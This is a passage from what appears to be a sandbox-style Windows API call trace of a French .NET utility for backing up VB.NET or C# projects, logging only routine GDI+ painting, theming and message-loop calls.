(graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.799] GdipCreateRegion (region=0x32e950) returned 0x0 [0061.799] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0061.800] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0061.800] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0061.800] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0061.800] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.800] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61930) returned 0x0 [0061.800] LocalFree (hMem=0x4e61930) returned 0x0 [0061.800] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61930 [0061.800] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61930) returned 0x0 [0061.800] LocalFree (hMem=0x4e61930) returned 0x0 [0061.800] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0061.800] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0061.800] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0061.800] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0061.800] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0061.800] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0061.800] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.800] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.800] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.800] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.800] SaveDC (hdc=0x46010156) returned 1 [0061.801] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x370401e3 [0061.801] GetClipRgn (hdc=0x46010156, hrgn=0x370401e3) returned 0 [0061.801] SelectClipRgn (hdc=0x46010156, hrgn=0x36040850) returned 2 [0061.801] DeleteObject (ho=0x370401e3) returned 1 [0061.801] DeleteObject (ho=0x36040850) returned 1 [0061.801] OffsetViewportOrgEx (in: hdc=0x46010156, x=0, y=0, lppt=0x26755a4 | out: lppt=0x26755a4) returned 1 [0061.801] IsAppThemed () returned 0x1 [0061.801] GetThemeAppProperties () returned 0x3 [0061.801] GetThemeAppProperties () returned 0x3 [0061.801] GetThemeBackgroundContentRect () returned 0x0 [0061.801] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.801] GdipReleaseDC (graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.801] IsAppThemed () returned 0x1 [0061.801] GetThemeAppProperties () returned 0x3 [0061.801] GetThemeAppProperties () returned 0x3 [0061.801] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0061.801] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0061.801] GetCurrentObject (hdc=0x46010156, type=0x1) returned 0x1b00017 [0061.801] GetCurrentObject (hdc=0x46010156, type=0x2) returned 0x1900010 [0061.801] GetCurrentObject (hdc=0x46010156, type=0x7) returned 0x70050254 [0061.801] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.801] SaveDC (hdc=0x46010156) returned 1 [0061.801] GetTextAlign (hdc=0x46010156) returned 0x0 [0061.801] GetTextColor (hdc=0x46010156) returned 0x0 [0061.802] GetCurrentObject (hdc=0x46010156, type=0x6) returned 0x18a002e [0061.802] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0061.802] SelectObject (hdc=0x46010156, h=0x100a0252) returned 0x18a002e [0061.802] GetBkMode (hdc=0x46010156) returned 2 [0061.802] SetBkMode (hdc=0x46010156, mode=1) returned 2 [0061.802] DrawTextExW (in: hdc=0x46010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x2675938 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0061.802] DrawTextExW (in: hdc=0x46010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x2675938 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0061.802] RestoreDC (hdc=0x46010156, nSavedDC=-1) returned 1 [0061.802] GdipReleaseDC (graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.802] GetFocus () returned 0x201e4 [0061.802] IsAppThemed () returned 0x1 [0061.802] GetThemeAppProperties () returned 0x3 [0061.803] GetThemeAppProperties () returned 0x3 [0061.803] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0061.803] BitBlt (hdc=0x1010830, x=0, y=0, cx=163, cy=29, hdcSrc=0x46010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0061.803] GdipReleaseDC (graphics=0x4c358c0, hdc=0x46010156) returned 0x0 [0061.803] SelectPalette (hdc=0x1010830, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0061.803] SelectObject (hdc=0x46010156, h=0x185000f) returned 0x70050254 [0061.803] DeleteDC (hdc=0x46010156) returned 1 [0061.811] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0061.811] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0061.811] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0061.811] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0061.811] WaitMessage () returned 1 [0061.897] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0061.897] IsWindowUnicode (hWnd=0x201d6) returned 1 [0061.897] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0061.897] TranslateMessage (lpMsg=0x32f158) returned 0 [0061.897] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0061.897] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0061.897] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0061.897] WaitMessage () returned 1 [0062.100] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0062.100] IsWindowUnicode (hWnd=0x201d8) returned 1 [0062.100] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0062.100] TranslateMessage (lpMsg=0x32f158) returned 0 [0062.100] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0062.100] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0062.100] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0062.100] WaitMessage () returned 1 [0066.875] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0066.875] IsWindowUnicode (hWnd=0x201e4) returned 1 [0066.876] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0066.876] GetKeyState (nVirtKey=16) returned 0 [0066.876] GetKeyState (nVirtKey=17) returned 0 [0066.876] GetKeyState (nVirtKey=18) returned -127 [0066.876] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0066.876] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0066.876] GetKeyState (nVirtKey=16) returned 0 [0066.876] GetKeyState (nVirtKey=17) returned 0 [0066.876] GetKeyState (nVirtKey=18) returned -127 [0066.876] TranslateMessage (lpMsg=0x32f158) returned 1 [0066.876] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0066.876] GetKeyState (nVirtKey=16) returned 0 [0066.876] GetKeyState (nVirtKey=17) returned 0 [0066.876] GetKeyState (nVirtKey=18) returned -127 [0066.876] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0066.876] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.876] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.876] WaitMessage () returned 1 [0066.887] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0066.887] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0066.887] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0066.887] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0066.903] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0066.903] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0066.903] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0066.903] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0066.903] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0066.904] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0066.904] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0066.911] NtdllDefWindowProc_W () returned 0x0 [0066.911] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0066.911] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0066.911] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0066.911] GetCapture () returned 0x0 [0066.911] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0066.911] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0066.911] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0066.911] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0066.911] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0066.911] IsWindowUnicode (hWnd=0x201e4) returned 1 [0066.911] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0066.911] TranslateMessage (lpMsg=0x32f158) returned 0 [0066.911] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0066.911] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x12010815 [0066.911] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0066.911] CreateCompatibleDC (hdc=0x12010815) returned 0x51010156 [0066.911] SelectObject (hdc=0x51010156, h=0x70050254) returned 0x185000f [0066.911] GdipCreateFromHDC (hdc=0x51010156, graphics=0x32ec54) returned 0x0 [0066.911] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0066.911] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0066.912] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0066.912] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0066.912] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0066.912] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.912] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61968) returned 0x0 [0066.912] LocalFree (hMem=0x4e61968) returned 0x0 [0066.912] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0066.912] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0066.912] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0066.912] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0066.912] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0066.912] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd9d0dbd) returned 0x0 [0066.912] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0066.912] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0066.912] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.912] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.912] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.912] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.912] SaveDC (hdc=0x51010156) returned 1 [0066.912] GetNearestColor (hdc=0x51010156, color=0xf0f0f0) returned 0xf0f0f0 [0066.912] GetNearestColor (hdc=0x51010156, color=0xa0a0a0) returned 0xa0a0a0 [0066.912] GetNearestColor (hdc=0x51010156, color=0x696969) returned 0x696969 [0066.912] GetNearestColor (hdc=0x51010156, color=0xa0a0a0) returned 0xa0a0a0 [0066.912] GetNearestColor (hdc=0x51010156, color=0x0) returned 0x0 [0066.912] GetNearestColor (hdc=0x51010156, color=0xffffff) returned 0xffffff [0066.913] GetNearestColor (hdc=0x51010156, color=0xe5e5e5) returned 0xe5e5e5 [0066.913] GetNearestColor (hdc=0x51010156, color=0xd7d7d7) returned 0xd7d7d7 [0066.913] GetNearestColor (hdc=0x51010156, color=0x0) returned 0x0 [0066.913] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.913] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26a8f80 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetFocus () returned 0x0 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsThemePartDefined () returned 0x1 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsAppThemed () returned 0x1 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] GetThemeAppProperties () returned 0x3 [0066.913] IsThemePartDefined () returned 0x1 [0066.914] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0066.914] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0066.914] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0066.914] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0066.914] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0066.914] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.914] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61968) returned 0x0 [0066.914] LocalFree (hMem=0x4e61968) returned 0x0 [0066.914] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.914] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61968) returned 0x0 [0066.914] LocalFree (hMem=0x4e61968) returned 0x0 [0066.914] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0066.914] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0066.914] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0066.914] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0066.914] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0066.914] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0066.914] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.914] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.914] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.914] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.914] SaveDC (hdc=0x51010156) returned 1 [0066.914] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x37040850 [0066.914] GetClipRgn (hdc=0x51010156, hrgn=0x37040850) returned 0 [0066.914] SelectClipRgn (hdc=0x51010156, hrgn=0x3e0401e3) returned 2 [0066.914] DeleteObject (ho=0x37040850) returned 1 [0066.914] DeleteObject (ho=0x3e0401e3) returned 1 [0066.914] OffsetViewportOrgEx (in: hdc=0x51010156, x=0, y=0, lppt=0x26a9630 | out: lppt=0x26a9630) returned 1 [0066.915] DrawThemeParentBackground () returned 0x0 [0066.915] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0066.915] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0066.915] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0066.915] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0066.915] GetSystemMetrics (nIndex=42) returned 0 [0066.915] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0066.915] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0066.915] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0066.915] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.915] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.915] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.915] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.915] SaveDC (hdc=0x51010156) returned 2 [0066.915] GetNearestColor (hdc=0x51010156, color=0xf0f0f0) returned 0xf0f0f0 [0066.915] CreateSolidBrush (color=0xf0f0f0) returned 0x1810084d [0066.915] FillRect (hDC=0x51010156, lprc=0x32e4d4, hbr=0x1810084d) returned 1 [0066.915] DeleteObject (ho=0x1810084d) returned 1 [0066.915] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.915] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0066.915] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0066.915] GetSystemMetrics (nIndex=42) returned 0 [0066.915] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0066.915] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0066.915] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0066.915] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.916] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.916] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.916] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.916] SaveDC (hdc=0x51010156) returned 2 [0066.916] GetNearestColor (hdc=0x51010156, color=0xf0f0f0) returned 0xf0f0f0 [0066.916] CreateSolidBrush (color=0xf0f0f0) returned 0x1910084d [0066.916] FillRect (hDC=0x51010156, lprc=0x32e474, hbr=0x1910084d) returned 1 [0066.916] DeleteObject (ho=0x1910084d) returned 1 [0066.916] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.916] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0066.916] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0066.916] GetSystemMetrics (nIndex=42) returned 0 [0066.916] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0066.916] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0066.916] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.916] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.916] IsAppThemed () returned 0x1 [0066.916] GetThemeAppProperties () returned 0x3 [0066.916] GetThemeAppProperties () returned 0x3 [0066.916] IsAppThemed () returned 0x1 [0066.916] GetThemeAppProperties () returned 0x3 [0066.916] GetThemeAppProperties () returned 0x3 [0066.916] IsThemePartDefined () returned 0x1 [0066.916] GdipCreateRegion (region=0x32e968) returned 0x0 [0066.916] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0066.916] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0066.916] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0066.916] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0066.916] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.917] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61968) returned 0x0 [0066.917] LocalFree (hMem=0x4e61968) returned 0x0 [0066.917] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.917] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61968) returned 0x0 [0066.917] LocalFree (hMem=0x4e61968) returned 0x0 [0066.917] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0066.917] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0066.917] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0066.917] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0066.917] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0066.917] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0066.917] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.917] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.917] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.917] GetCurrentObject (hdc=0x51010156, type=0x6) returned 0x18a002e [0066.917] SaveDC (hdc=0x51010156) returned 1 [0066.917] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3f0401e3 [0066.917] GetClipRgn (hdc=0x51010156, hrgn=0x3f0401e3) returned 0 [0066.917] SelectClipRgn (hdc=0x51010156, hrgn=0x39040850) returned 2 [0066.917] DeleteObject (ho=0x3f0401e3) returned 1 [0066.917] DeleteObject (ho=0x39040850) returned 1 [0066.917] OffsetViewportOrgEx (in: hdc=0x51010156, x=0, y=0, lppt=0x26aa068 | out: lppt=0x26aa068) returned 1 [0066.917] IsAppThemed () returned 0x1 [0066.917] GetThemeAppProperties () returned 0x3 [0066.917] GetThemeAppProperties () returned 0x3 [0066.917] DrawThemeBackground () returned 0x0 [0066.917] RestoreDC (hdc=0x51010156, nSavedDC=-1) returned 1 [0066.917] GdipReleaseDC (graphics=0x4c358c0, hdc=0x51010156) returned 0x0 [0066.918] GdipCreateRegion (region=0x32e950) returned 0x0 [0066.918] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0066.918] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0066.918] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0066.918] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0066.918] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.918] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61968) returned 0x0 [0066.918] LocalFree (hMem=0x4e61968) returned 0x0 [0066.918] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61968 [0066.918] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61968) returned 0x0 [0066.918] LocalFree (hMem=0x4e61968) returned 0x0 [0066.918] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0066.918] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0066.918] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0066.918] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0066.918] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0066.918] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0066.918] GetCurrentObject (hdc=0x51010156, type=0x1) returned 0x1b00017 [0066.918] GetCurrentObject (hdc=0x51010156, type=0x2) returned 0x1900010 [0066.918] GetCurrentObject (hdc=0x51010156, type=0x7) returned 0x70050254 [0066.918] GetCurrentObject 